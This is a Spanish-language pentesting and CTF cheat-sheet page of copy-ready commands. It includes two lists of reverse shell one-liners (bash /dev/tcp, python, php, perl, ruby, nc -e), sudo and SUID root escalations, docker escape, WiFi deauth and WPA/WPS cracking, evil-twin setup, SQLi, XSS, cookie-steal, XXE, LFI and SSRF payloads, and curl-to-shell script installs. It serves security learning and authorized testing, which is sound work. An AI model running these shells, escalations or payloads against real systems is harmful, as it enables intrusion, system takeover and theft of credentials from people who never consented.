Referencia de pentesting & CTF

Comandos, payloads y herramientas listas para copiar. Define tus variables una vez y todo se adapta a tu objetivo.

(._.)Sin resultados para ""

// text processing

grepsearch & filter
grep -r "pattern" /pathrecursivo
grep -i "pattern" filecase-insensitive
grep -v "pattern" fileinvertir match
grep -n "pattern" filecon nº de línea
grep -E "pat1|pat2" fileregex extendida / OR
grep -o "pattern" filesolo el match
grep -A 3 -B 3 "pat" filecontexto ±3 líneas
grep -l "pattern" *solo nombres ficheros
grep -c "pattern" filecontar coincidencias
grep -P "\d{1,3}\.\d{1,3}" filePerl regex (PCRE)
grep -rn "TODO" . --include="*.py"filtrar extensión
grep -a "string" binaryfilebuscar en binario
awkfield processor
awk '{print $1}' file1ª columna
awk -F: '{print $1,$3}' /etc/passwdsep ":" cols 1 y 3
awk 'NR==5' filelínea 5
awk 'NR>=5 && NR<=10' filerango de líneas
awk '/pattern/{print $2}'filtro + columna
awk '{sum+=$1} END{print sum}'suma columna
awk '!seen[$0]++'deduplicar
awk '{print NF, $0}'nº campos por línea
awk 'length($0) > 80'líneas largas
awk 'BEGIN{OFS=","}{print $1,$2}' fcambiar separador out
awk '{gsub(/old/,"new"); print}'reemplazar inline
awk -v x=5 '$1>x{print}'variable externa
sedstream editor
sed 's/old/new/g' filereplace global
sed -i 's/old/new/g' filein-place
sed -i.bak 's/old/new/g' filein-place + backup
sed -n '5,10p' filelíneas 5-10
sed '/pattern/d' fileborrar líneas
sed '/^$/d' fileborrar vacías
sed 's/^/# /' filecomentar líneas
sed -n '/start/,/end/p' filerango entre patrones
sed 's/\(.*\):/\1 ->/'grupos de captura
sed '1i\HEADER' fileinsertar al inicio
sed '$a\FOOTER' fileinsertar al final
sed -e 's/a/b/g' -e 's/c/d/g'múltiples expresiones
sort · uniq · cut · tr · wcpipeline tools
sort -u fileordenar + unique
sort -rn filenumérico inverso
sort -t: -k3 -n filepor campo 3
sort -R fileorden aleatorio
uniq -c | sort -rncontar + ordenar
cut -d: -f1,3 filecampos 1 y 3
cut -c1-10 filecaracteres 1-10
tr 'a-z' 'A-Z'uppercase
tr -d '\r\n'quitar CR y LF
tr -s ' ' '\t'spaces a tabs
wc -l/-w/-c filelíneas/palabras/bytes
paste file1 file2merge columnas
findfile hunting
find / -name "*.conf" 2>/dev/nullbuscar configs
find / -perm -4000 2>/dev/nullbinarios SUID
find / -perm -2000 2>/dev/nullbinarios SGID
find / -writable -type f 2>/dev/nullficheros escribibles
find / -mmin -60 2>/dev/nullmodificados última hora
find . -size +10M -size -100Mrango de tamaño
find / -user root -writable 2>/dev/nullroot + writable
find / -nouser 2>/dev/nullsin propietario
find . -name "*.log" -deleteborrar logs
find . -type f -exec md5sum {} \;hash de ficheros
find / -newer /tmp/ref 2>/dev/nullmás nuevos que ref
find / -name "id_rsa" 2>/dev/nullbuscar claves SSH
xargs · tee · diff · stringsmisc text tools
xargs -I{} cmd {}placeholder
find . -name "*.py" | xargs grep "pass"grep en varios
xargs -P 4 -n 1 cmd4 procesos paralelos
cmd | tee file.logstdout + fichero
cmd | tee -a file.logappend
diff -u file1 file2diff unificado
diff -r dir1 dir2diff directorios
strings -n 8 binarystrings mínimo 8
strings binary | grep -i passbuscar contraseñas
xxd file | head -20hex dump
xxd -r file.hex > file.binrevertir hex
od -A x -t x1z fileoctal dump hex

// red team & network

nmapport scanning
nmap -sV -sC -oA scan RHOSTdefault enum
nmap -p- --min-rate 5000 -oN full RHOSTtodos los puertos
nmap -sU --top-ports 200 RHOSTUDP top 200
nmap --script vuln RHOSTvulnerabilidades
nmap -sn 192.168.1.0/24ping sweep
nmap -O RHOSTOS detection
nmap --script smb-vuln* RHOSTSMB vulns
nmap --script http-title -p80,443,8080 RHOSTtítulos web
nmap -sV --version-intensity 9 RHOSTversión agresiva
nmap -T4 -A -v RHOSTagresivo + verbose
nmap --script dns-brute DOMAINsubdomain brute
nmap -Pn -p22,80,443 RHOSTsin ping
netcat · socatswiss knife
nc -lvnp PORTlistener
nc -zv RHOST 1-1000port scan
nc -w 3 RHOST 80 < req.txtenviar request
mkfifo /tmp/f; nc -lvp PORT /tmp/fshell interactiva
socat TCP-LISTEN:PORT,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sanesocat pty shell
socat TCP:RHOST:PORT PTY,raw,echo=0cliente socat
socat TCP-LISTEN:80,fork TCP:RHOST:8080relay TCP
nc RHOST PORT < /etc/hostnameenviar fichero
nc -lvp PORT > received.filerecibir fichero
reverse shellsone-liners de referencia
bash -i >& /dev/tcp/IP/PORT 0>&1bash
sh -i >& /dev/tcp/IP/PORT 0>&1sh
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));[os.dup2(s.fileno(),i) for i in range(3)];subprocess.call(["/bin/sh","-i"])'python3
php -r '$s=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'php
ruby -rsocket -e'f=TCPSocket.open("IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'ruby
perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(PORT,inet_aton("IP")));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'perl
python3 -c 'import pty; pty.spawn("/bin/bash")'upgrade shell (1)
export TERM=xterm; stty raw -echo; fgupgrade shell (2)
stty rows 50 cols 200fix tamaño TTY
ssh tunneling & pivotingport forwarding
ssh -L 8080:RHOST:80 USER@RHOSTlocal forward
ssh -R PORT:localhost:PORT USER@LHOSTremote forward
ssh -D 1080 USER@RHOSTSOCKS5 proxy
ssh -N -f -L 5432:db:5432 USER@RHOSTbackground
ssh -J jump1,jump2 USER@RHOSTmúltiples saltos
sshuttle -r USER@RHOST 192.168.1.0/24VPN over SSH
chisel server -p 8080 --reversechisel server
chisel client LHOST:8080 R:sockschisel SOCKS
proxychains nmap -sT RHOSTnmap via proxy
ssh-keygen -t ed25519 -C "key"generar clave
cat id_rsa.pub >> ~/.ssh/authorized_keysañadir clave
ssh -o StrictHostKeyChecking=no USER@RHOSTskip host check
curl / wget / requestsHTTP tools
curl -I urlsolo headers
curl -X POST -d "user=a&pass=b" urlPOST form
curl -X POST -H "Content-Type: application/json" -d '{"k":"v"}' urlPOST JSON
curl -b "session=TOKEN" urlcon cookie
curl -H "Authorization: Bearer JWT" urlJWT header
curl -k --ssl-no-revoke urlskip SSL
curl -x http://127.0.0.1:8080 urlvia proxy
curl -L --max-redirs 10 urlseguir redirects
curl -u USER:PASS urlHTTP Basic Auth
curl -T file.txt ftp://host/upload FTP
wget -r -np -nH -P /tmp urlmirror site
curl -s url | python3 -m json.toolpretty JSON
ffuf · gobuster · feroxbusterweb fuzzing
ffuf -w wl -u http://RHOST/FUZZdir bruteforce
ffuf -w wl -u http://RHOST/FUZZ -e .php,.html,.txtextensiones
ffuf -w wl -u http://RHOST -H "Host: FUZZ.DOMAIN"vhost enum
ffuf -w wl -u http://RHOST?id=FUZZ -fc 403param fuzz
ffuf -w wl -u http://RHOST/FUZZ -fs 0filtrar size 0
ffuf -w u:wl1 -w p:wl2 -u http://RHOST/login -X POST -d "user=FUZZ&pass=FUZZ2" -fc 302doble wordlist
gobuster dir -u url -w wl -x php,html,bakgobuster dir
gobuster dns -d domain -w wl -r 8.8.8.8dns enum
gobuster vhost -u http://RHOST -w wlvhost gobuster
feroxbuster -u url -w wl --depth 3 -erecursivo
wfuzz -c -z file,wl --hc 404 http://RHOST/FUZZwfuzz
dirsearch -u http://RHOST -e php,html,jsdirsearch

// wifi

monitor mode & scaninterfaz & recon
iwconfigver interfaces wifi
airmon-ng check killmatar procesos que molestan
airmon-ng start wlan0activar modo monitor
iw dev wlan0 set type monitormonitor (alternativa)
airodump-ng wlan0monescanear redes
airodump-ng --band a wlan0monescanear 5GHz
airmon-ng stop wlan0monsalir de monitor
macchanger -r wlan0MAC aleatoria
WPA handshakecaptura + deauth
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0moncapturar en canal/BSSID
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mondeauth (fuerza handshake)
aireplay-ng -0 5 -a BSSID -c CLIENT wlan0mondeauth a cliente concreto
aircrack-ng cap-01.capverificar handshake
hcxdumptool -i wlan0mon -o dump.pcapngcapturar PMKID/handshake
wifite --killautomático (todo en uno)
crack handshakeaircrack · hashcat
aircrack-ng cap-01.cap -w wlcrack con diccionario
hcxpcapngtool -o hash.hc22000 dump.pcapngconvertir a formato hashcat
hashcat -m 22000 hash.hc22000 wlcrack WPA (hashcat)
hashcat -m 22000 hash.hc22000 -a 3 "?d?d?d?d?d?d?d?d"mask (8 dígitos)
aircrack-ng cap-01.cap -w wl -b BSSIDfijar BSSID
WPS & evil twinreaver · hostapd
wash -i wlan0mondetectar APs con WPS
reaver -i wlan0mon -b BSSID -vvbruteforce PIN WPS
reaver -i wlan0mon -b BSSID -K 1Pixie Dust attack
bully wlan0mon -b BSSID -Bbully (WPS)
airbase-ng -e "FreeWiFi" -c 6 wlan0monrogue AP básico
eaphammer --cert-wizardevil twin (WPA-Enterprise)

// privilege escalation

sudo — GTFOBinsescalada
sudo -lver permisos
sudo vim -c ':!/bin/bash'vim
sudo less /etc/passwd; !/bin/shless
sudo awk 'BEGIN{system("/bin/bash")}'awk
sudo python3 -c 'import os;os.system("/bin/bash")'python3
sudo find . -exec /bin/bash \; -quitfind
sudo env /bin/bashenv
sudo tee /etc/sudoers <<< "user ALL=(ALL) NOPASSWD:ALL"tee
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bashtar
sudo zip /tmp/x.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"zip
sudo nmap --interactive; !shnmap (legacy)
echo "os.execute('/bin/bash')" > /tmp/x; sudo lua /tmp/xlua
enum localrecon de sistema
id; whoami; groupsusuario actual
uname -a; cat /proc/versionkernel
cat /etc/os-releasedistro
cat /etc/passwd | grep -v nologin | grep -v falseusuarios con shell
cat /etc/shadow 2>/dev/nullhashes (si readable)
ps aux --forestprocesos
ss -tulnppuertos
crontab -l; ls -la /etc/cron*; cat /etc/crontabcron
env; printenv | grep -i passenv vars con pass
cat ~/.bash_historyhistorial
ls -la /home/*/dirs de usuarios
cat /proc/net/arphosts en ARP cache
capabilities & SUIDlinux privesc
getcap -r / 2>/dev/nullbuscar caps
find / -perm -u=s -type f 2>/dev/nullSUID
find / -perm -g=s -type f 2>/dev/nullSGID
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'cap_setuid
capsh --decode=0000003fffffffffdecodificar caps
cat /proc/1/status | grep -E "Cap|Uid"caps proceso
./vim -c ':py3 import os;os.setuid(0);os.execl("/bin/sh","sh","-c","reset;exec sh")'vim SUID
./cp --preserve=mode /bin/bash /tmp/bashcp SUID
/tmp/bash -pbash SUID (-p)
scripts de enumautomated
curl -L https://github.com/carlospolop/peass-ng/releases/latest/download/linpeas.sh | sh 2>&1 | tee /tmp/lp.txtlinpeas
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bashlinenum
curl -L https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh | bashexploit suggester
python3 -m http.server SRVPORTservidor python
php -S 0.0.0.0:SRVPORTservidor PHP
upx -d binarydesempaquetar UPX
ltrace ./binarytrazar llamadas lib
strace ./binary 2>&1 | grep -E "open|read|write"trazar syscalls
writable paths & cron abusepath hijack
echo $PATHPATH actual
export PATH=/tmp:$PATHañadir /tmp al PATH
cat /etc/crontab | grep -v "^#"cron system
ls -la /etc/cron.d/ /var/spool/cron/cron dirs
pspy64procesos en tiempo real
find / -writable -path "*/cron*" 2>/dev/nullcron escribible
docker & container escapecontainer privesc
cat /proc/1/cgroup | grep dockerdetectar container
ls /.dockerenvdockerenv file
id | grep dockergrupo docker
docker run -it -v /:/mnt alpine chroot /mnt shdocker escape (si grupo docker)
docker run --privileged -it ubuntu bashprivileged container
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bashnsenter escape
capsh --print | grep Currentcaps en container
mount | grep "/ type"mounts

// web testing

SQLi — patrones de pruebainjection testing
' OR '1'='1classic bypass
' OR 1=1 --MySQL comment
' UNION SELECT null,null,null --UNION columns
' UNION SELECT table_name,2,3 FROM information_schema.tables --enum tables
' AND SLEEP(5) --time-based blind
' AND 1=2 UNION SELECT user(),version(),database() --MySQL info
sqlmap -u "http://t?id=1" --dbssqlmap databases
sqlmap -u "http://t?id=1" -D db -T users --dumpsqlmap dump
sqlmap -u "http://t?id=1" --batch --risk=3 --level=5sqlmap agresivo
XSS — patrones de pruebacross-site scripting
<script>alert(1)</script>basic
<img src=x onerror=alert(1)>img tag
<svg onload=alert(1)>svg tag
"><script>alert(document.cookie)</script>cookie steal (PoC)
javascript:alert(1)href bypass
<body onload=alert(1)>body event
<details open ontoggle=alert(1)>details tag
%3Cscript%3Ealert(1)%3C/script%3EURL encoded
&lt;script&gt;alert(1)&lt;/script&gt;HTML encoded
LFI / Path Traversalfile inclusion
?file=../../../../etc/passwdpath traversal
?file=....//....//etc/passwdbypass filter
?file=php://filter/convert.base64-encode/resource=index.phpleer PHP source
?file=/proc/self/environenviron vars
?file=/var/log/apache2/access.loglog poisoning (detección)
?file=/proc/self/fd/10file descriptor
SSRF · XXE · SSTI — detecciónserver-side issues
http://localhost/adminSSRF localhost
http://169.254.169.254/latest/meta-data/AWS metadata
file:///etc/passwdSSRF file://
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>XXE file read
{{7*7}} ${7*7} #{7*7}SSTI detection
{{config.__class__.__init__.__globals__}}Jinja2 SSTI detect
command injection — deteccióncode execution
; idsemicolon separator
| idpipe
&& idAND exec
`id`backtick
$(id)subshell
sleep 5time-based blind
ping -c1 LHOSTdetect OOB
auth bypass & JWTauthentication issues
admin' --SQLi login bypass
{"alg":"none"}JWT alg:none
hashcat -a 0 -m 16500 jwt.txt wlcrackear JWT HS256
X-Forwarded-For: 127.0.0.1IP bypass header
X-Original-IP: 127.0.0.1IP bypass alt
X-HTTP-Method-Override: DELETEmethod override

// windows & active directory

windows enumreconocimiento
whoami /allusuario + grupos + privs
net userlistar usuarios
net localgroup administratorsadmins locales
ipconfig /allred completa
netstat -anoconexiones activas
tasklist /svcprocesos + servicios
systeminfoinfo sistema
wmic qfe list briefpatches instalados
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallsoftware instalado
cmdkey /listcredenciales guardadas
Get-WinEvent -LogName Security -MaxEvents 20event log seguridad
Get-ADUser -Filter * -Properties *usuarios AD (RSAT)
powershell útilPS administración
powershell -ep bypassbypass exec policy
Get-LocalUser | Select Name,Enabledusuarios locales
Get-Process | Sort CPU -Desc | Select -First 10top procesos por CPU
Get-Service | Where {$_.Status -eq "Running"}servicios activos
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("BASE64"))decode b64 en PS
Get-ChildItem -Recurse -Filter *.configbuscar ficheros config
Test-NetConnection -ComputerName host -Port 443test conectividad
Get-NetTCPConnection -State Listenpuertos en escucha
Get-EventLog -LogName Application -Newest 50logs aplicación
Get-ScheduledTask | Where State -eq Runningtareas programadas

// crypto & hashing

opensslcrypto swiss knife
openssl s_client -connect RHOST:443SSL info
openssl x509 -in cert.pem -text -nooutleer cert
openssl genrsa -out key.pem 4096RSA key
openssl rsa -in key.pem -puboutextraer clave pública
openssl enc -aes-256-cbc -pbkdf2 -in f -out f.enccifrar AES
openssl enc -d -aes-256-cbc -pbkdf2 -in f.encdescifrar AES
openssl dgst -sha256 -hmac KEY fileHMAC-SHA256
openssl passwd -6 passwordSHA512crypt
openssl pkcs12 -in cert.pfx -out cert.pem -nodesPFX a PEM
openssl ciphers -v | grep AES256listar cifrados
hashcatpassword cracking
hashcat -m 0 hash.txt wlMD5 diccionario
hashcat -m 100 hash.txt wlSHA1
hashcat -m 1000 hash.txt wlNTLM
hashcat -m 1800 hash.txt wlsha512crypt ($6$)
hashcat -m 3200 hash.txt wlbcrypt ($2y$)
hashcat -m 0 -a 3 hash "?u?l?l?l?d?d"mask attack
hashcat -m 0 -r rules/best64.rule h wlrules
hashcat -m 0 -a 1 h wl1 wl2combinator
hashcat --show hash.txtver crackeados
john the ripperJtR
john hash.txt --wordlist=wldiccionario
john hash.txt --format=sha512cryptforzar formato
john hash.txt --incrementalmodo incremental
john hash.txt --rules --wordlist=wlcon reglas
john --show hash.txtmostrar crackeados
unshadow /etc/passwd /etc/shadow > combined.txtunshadow
zip2john zip.zip > zip.hashzip hash
pdf2john file.pdf > pdf.hashPDF hash
ssh2john id_rsa > ssh.hashSSH key hash
keepass2john db.kdbx > kp.hashKeePass hash
tipos de hashidentificación rápida
d41d8cd98f00b204e9800998ecf8427eMD5 (32) -m 0
da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1 (40) -m 100
e3b0c44298fc1c149afb...27ae41e4649b934caSHA256 (64) -m 1400
cf83e1357eefb8bdf1542850...1079c3bSHA512 (128) -m 1700
$1$salt$hashMD5crypt -m 500
$5$salt$hashSHA256crypt -m 7400
$6$salt$hashSHA512crypt -m 1800
$2y$10$hashbcrypt -m 3200
aad3b435b51404eeaad3b435b51404eeNTLM vacío -m 1000

// forensics & stego

volatility 3memory forensics
vol -f mem.raw windows.infoinfo básica
vol -f mem.raw windows.pslistlista procesos
vol -f mem.raw windows.pstreeárbol procesos
vol -f mem.raw windows.cmdlinecommand lines
vol -f mem.raw windows.netscanconexiones red
vol -f mem.raw windows.filescanficheros en mem
vol -f mem.raw windows.dumpfiles --pid 1234dump ficheros
vol -f mem.raw windows.malfindcódigo inyectado
vol -f mem.raw linux.bashbash history
vol -f mem.raw windows.registry.hivelistregistry hives
vol -f mem.raw windows.clipboardclipboard
binwalk · foremost · steghidefile analysis
binwalk -e fileextraer embebidos
binwalk -Me fileextract recursivo
binwalk -A filebuscar código
foremost -i file -o /tmp/outforemost
steghide extract -sf file.jpgextraer stego
steghide info file.jpginfo stego
zsteg -a file.pngLSB stego PNG
exiftool filemetadata EXIF
pngcheck -v file.pngvalidar PNG
identify -verbose file.jpgImageMagick info
file *; xxd file | head -3identificar fichero
stegdetect file.jpgdetectar stego
wireshark / tsharktraffic analysis
tshark -r file.pcapleer pcap
tshark -r file.pcap -Y "http"filtro HTTP
tshark -r file.pcap -Y "tcp.port==443"filtro puerto
tshark -r file.pcap -T fields -e http.request.uriextraer URIs
tshark -r file.pcap -T fields -e data | xxdextraer datos raw
tshark -r f.pcap -qz io,stat,1estadísticas
tshark -r f.pcap -z "follow,tcp,ascii,0"follow TCP stream
tcpdump -i eth0 -w capture.pcapcapturar tráfico
tcpdump -r file.pcap 'tcp port 80'filtro tcpdump
tcpdump -i eth0 'not port 22'excluir SSH
disk & logs forensicsanálisis de disco
dd if=/dev/sda of=disk.img bs=4M status=progressimagen de disco
md5sum disk.img > disk.md5hash integridad
mount -o loop,ro disk.img /mntmontar imagen
fls -r disk.imglistar ficheros (sleuthkit)
icat disk.img INODE > fileextraer por inode
last -Flogins histórico
lastbintentos fallidos
ausearch -i -m USER_LOGINauditd logins
journalctl -u sshd --since "1 hour ago"logs SSH
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rnIPs atacantes
find / -atime -1 2>/dev/nullaccedidos <1h

// git

config & initarranque
git config --global user.name "Nombre"nombre global
git config --global user.email "tu@mail.com"email global
git config --listver config
git initcrear repo local
git clone https://github.com/user/repo.gitclonar repo
git clone git@github.com:user/repo.gitclonar (SSH)
git clone --depth 1 https://github.com/user/repo.gitshallow (rápido)
cambios básicosstage · commit · diff
git statusestado actual
git status -sestado corto
git add .añadir todo
git add -pañadir por trozos
git commit -m "mensaje"commit
git commit -am "mensaje"add + commit (tracked)
git diffcambios sin stage
git diff --stagedcambios en stage
git rm --cached ficheroquitar del stage
git mv viejo nuevorenombrar
ramas (branch)branch · merge
git branchlistar ramas
git branch -aincluir remotas
git switch -c featurecrear + cambiar
git checkout -b featurecrear + cambiar (clásico)
git switch maincambiar de rama
git merge featurefusionar rama
git branch -d featureborrar rama
git branch -D featureborrar forzado
git branch -m nuevo-nombrerenombrar rama
git rebase mainrebase sobre main
remoto & syncpush · pull · fetch
git remote -vver remotos
git remote add origin git@github.com:user/repo.gitañadir remoto
git remote set-url origin git@github.com:user/repo.gitcambiar remoto
git push -u origin mainprimer push (set upstream)
git pushsubir cambios
git push origin --delete ramaborrar rama remota
git pulltraer + merge
git pull --rebasetraer + rebase
git fetch --all --prunetraer sin merge + limpiar
deshacer / resetundo · revert
git restore ficherodescartar cambios
git restore --staged ficherosacar del stage
git commit --amend -m "nuevo msg"corregir último commit
git reset --soft HEAD~1deshacer commit (mantiene)
git reset --hard HEAD~1deshacer commit (BORRA)
git reset --hard origin/mainigualar a remoto
git revert HEADrevertir (commit nuevo)
git clean -fdborrar no-trackeados
git checkout -- .descartar todo (clásico)
log · stash · taghistorial & extras
git log --oneline --graph --allhistorial visual
git log -p -2últimos 2 con diff
git log --grep="texto"buscar en mensajes
git show HEADver último commit
git blame ficheroquién cambió cada línea
git stashguardar cambios temp
git stash poprecuperar stash
git stash listlistar stashes
git cherry-pick HASHtraer un commit suelto
git tag -a v1.0 -m "release"crear tag anotado
git push origin --tagssubir tags

// transferencia & referencia rápida

file transfersubir / bajar ficheros
python3 -m http.server SRVPORTservidor HTTP
php -S 0.0.0.0:SRVPORTservidor PHP
ruby -run -e httpd . -p SRVPORTservidor Ruby
wget http://LHOST:SRVPORT/LFILE -O /tmp/LFILEdescargar wget
curl http://LHOST:SRVPORT/LFILE -o /tmp/LFILEdescargar curl
certutil -urlcache -f http://LHOST:SRVPORT/LFILE LFILEdescargar (Windows)
powershell -c "iwr http://LHOST:SRVPORT/LFILE -OutFile LFILE"descargar (PS)
base64 LFILE | tr -d '\n'; echoexfil b64 terminal
cat LFILE | base64 -d > LFILE.outdecode b64
scp · sftp · rsynctransferencia sobre SSH
scp LFILE USER@RHOST:/tmp/subir fichero
scp USER@RHOST:/etc/passwd /tmp/bajar fichero
scp -r dir/ USER@RHOST:/tmp/subir directorio
scp -P 2222 LFILE USER@RHOST:/tmp/puerto SSH alt
scp -i id_rsa LFILE USER@RHOST:/tmp/con clave privada
scp -o StrictHostKeyChecking=no LFILE USER@RHOST:/tmp/skip host check
scp -J USER@jump USER@RHOST:/tmp/LFILE .via jump host
sftp USER@RHOSTsesión SFTP interactiva
rsync -avz LFILE USER@RHOST:/tmp/subir (rsync)
rsync -avz USER@RHOST:/path/ ./loot/bajar (rsync)
rsync -avz -e "ssh -p 2222" dir/ USER@RHOST:/tmp/rsync puerto alt
rsync -avz --progress dir/ USER@RHOST:/tmp/con progreso
reverse shellsreferencia de sintaxis (placeholders IP/PORT)
bash -i >& /dev/tcp/IP/PORT 0>&1bash
sh -i >& /dev/tcp/IP/PORT 0>&1sh
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));[os.dup2(s.fileno(),i) for i in range(3)];subprocess.call(["/bin/sh","-i"])'python3
php -r '$s=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'php
perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(PORT,inet_aton("IP")));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'perl
nc -e /bin/sh IP PORTnetcat (-e variant)
python3 -c 'import pty; pty.spawn("/bin/bash")'upgrade shell (1)
export TERM=xterm; stty raw -echo; fgupgrade shell (2)
stty rows 50 cols 200fix tamaño TTY

// command builder

grep builder

comando aquí

find builder

comando aquí

sed builder

comando aquí

nmap builder

comando aquí

Reverse shell generator usa IP/PORT de variables

selecciona un tipo
nc -lvnp PORT

msfvenom builder payload + formato

selecciona un payload

// wordlists

SecLists — paths comunes

/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txtrockyou
/usr/share/wordlists/rockyou.txtrockyou (kali)
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txtdirs medium
/usr/share/seclists/Discovery/Web-Content/common.txtdirs common
/usr/share/seclists/Discovery/Web-Content/big.txtdirs big
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txtsubdomains 5k
/usr/share/seclists/Usernames/top-usernames-shortlist.txtusernames
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txttop passwords 1k
/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txtSQLi fuzzing
/usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txtXSS fuzzing
/usr/share/metasploit-framework/data/wordlists/MSF wordlists

Comandos de instalación rápida

git clone https://github.com/danielmiessler/SecListsSecLists
apt install seclists wordlists -yapt install
pip install impacketimpacket
go install github.com/OJ/gobuster/v3@latestgobuster
go install github.com/ffuf/ffuf/v2@latestffuf
cargo install feroxbusterferoxbuster
searchsploit -uactualizar ExploitDB local
searchsploit apache 2.4buscar exploits locales

// bug bounty

01 · recon

Amplía la superficie

Subdominios y hosts vivos antes de nada: subfinder -d DOMAIN | httpx. Más superficie de ataque = más bugs. No te limites al dominio principal.

02 · mapping

Entiende la app

Navega como usuario real, mapea roles y endpoints, revisa JS en busca de rutas/keys. La lógica de negocio es donde están los bugs que la automatización no ve.

03 · fuzz

No te quedes en 200

Filtra por código y tamaño: ffuf -w wl -u https://DOMAIN/FUZZ -fc 404. Los 403/302 y respuestas raras esconden mucho.

04 · auto

Nuclei para lo conocido

nuclei -u https://DOMAIN -severity critical,high. Automatiza CVEs y misconfigs; reserva tu tiempo para lo manual.

05 · chain

Encadena bugs

Un self-XSS + CSRF, un IDOR + info leak… El impacto sube al combinar. Piensa en el peor caso demostrable, no en el hallazgo aislado.

06 · report

Impacto, no solo bug

PoC reproducible paso a paso + impacto de negocio claro. Un buen writeup sube la severidad y evita el temido "informative".

recon one-linerssubdominios · hosts vivos
subfinder -d DOMAIN -all -silentsubdominios pasivos
assetfinder --subs-only DOMAINassetfinder
amass enum -passive -d DOMAINamass pasivo
subfinder -d DOMAIN -silent | httpx -silent -title -tech-detectvivos + stack
cat subs.txt | httpx -silent -sc -clstatus + longitud
dnsx -l subs.txt -a -respresolver DNS
naabu -host DOMAIN -top-ports 1000port scan rápido
urls & contentcrawling · históricos
gau DOMAIN | sort -uurls históricas
waybackurls DOMAINwayback machine
katana -u https://DOMAIN -d 3crawl activo
gau DOMAIN | gf xss | qsreplace '">'candidatos XSS
gau DOMAIN | grep -E "\.js$" | httpx -silentficheros JS vivos
ffuf -w wl -u https://DOMAIN/FUZZ -mc 200,301,403 -fc 404dir discovery
ffuf -w wl -u https://DOMAIN/?FUZZ=1 -fw 42param discovery
nucleiescaneo por plantillas
nuclei -u https://DOMAIN -severity critical,highsolo lo grave
nuclei -l hosts.txt -t cves/CVEs en lista
nuclei -u https://DOMAIN -t exposures/secretos/ficheros expuestos
nuclei -u https://DOMAIN -tags misconfig,takeovermisconfig + takeover
nuclei -update-templatesactualizar plantillas
subfinder -d DOMAIN -silent | httpx -silent | nuclei -severity high,criticalpipeline completo
Google dorksOSINT · exposición
site:DOMAIN -wwwsubdominios indexados
site:DOMAIN ext:php | ext:asp | ext:jspendpoints dinámicos
site:DOMAIN inurl:admin | inurl:loginpaneles
site:DOMAIN intitle:"index of"directory listing
site:DOMAIN ext:log | ext:txt | ext:conf | ext:bakficheros sensibles
site:pastebin.com DOMAINleaks en pastebin
site:github.com DOMAIN passwordsecretos en GitHub

// referencia rápida

Puertos comunes

21FTP
22SSH
23Telnet
25SMTP
53DNS
80HTTP
110POP3
139NetBIOS
143IMAP
443HTTPS
445SMB
1433MSSQL
3306MySQL
3389RDP
5432PostgreSQL
5985WinRM
6379Redis
8080HTTP-alt
8443HTTPS-alt
27017MongoDB

Códigos HTTP

200OK
201Created
301Moved
302Found
304Not Modified
400Bad Request
401Unauthorized
403Forbidden
404Not Found
405Method N/A
429Rate Limit
500Server Error
502Bad Gateway
503Unavailable

// ctf tools

Base64 encode / decode

resultado

Caesar / ROT todas las rotaciones

resultado

Hex encode / decode / XOR

resultado

URL / HTML / Unicode encoding

resultado

Hash identify + generate

Binary / Octal / Morse converter

resultado

Conversión de bases 2 / 8 / 10 / 16

resultado

JWT Decoder header · payload · forge

resultado

Cifrados clásicos atbash · vigenère

resultado

Encoder chain multiple rounds — estilo CyberChef

resultado
Magic bytes: PNG=89504E47 · JPG=FFD8FFE0 · GIF=47494638 · PDF=25504446 · ZIP=504B0304 · ELF=7F454C46 · PE=4D5A9000
Stego rápido: strings -n 8 file · binwalk -e file · foremost file · exiftool file · zsteg img.png · steghide extract -sf file
CTF quick-wins: file * · xxd f | head · grep -r "HTB{" . · grep -r "flag{" . · grep -rP "CTF\{" .

// regex tester

0 matches
resultado

// misc tools

Calculadora permisos Unix

owner (u)
group (g)
others (o)
644
-rw-r--r--
chmod 644 fichero

Calculadora de subred IPv4

Cron builder 5 campos

0 * * * *

Timestamp converter Unix ↔ fecha

resultado

IP range expander CIDR → lista

resultado

// emoji stego

Emoji Steganography cifrar / descifrar

resultado
Zero-width chars: U+200B (ZWSP) · U+200C (ZWNJ) · U+200D (ZWJ) son invisibles y sobreviven al copiar/pegar en la mayoría de apps — se usan para ocultar texto dentro de emojis u otros strings en CTFs de stego y para watermarking encubierto en redes sociales.

// homógrafos & bidi spoofing

Homógrafos Latin ↔ Cyrillic / Greek

a → аU+0430 CYRILLIC A
e → еU+0435 CYRILLIC IE
o → оU+043E CYRILLIC O
p → рU+0440 CYRILLIC ER
c → сU+0441 CYRILLIC ES
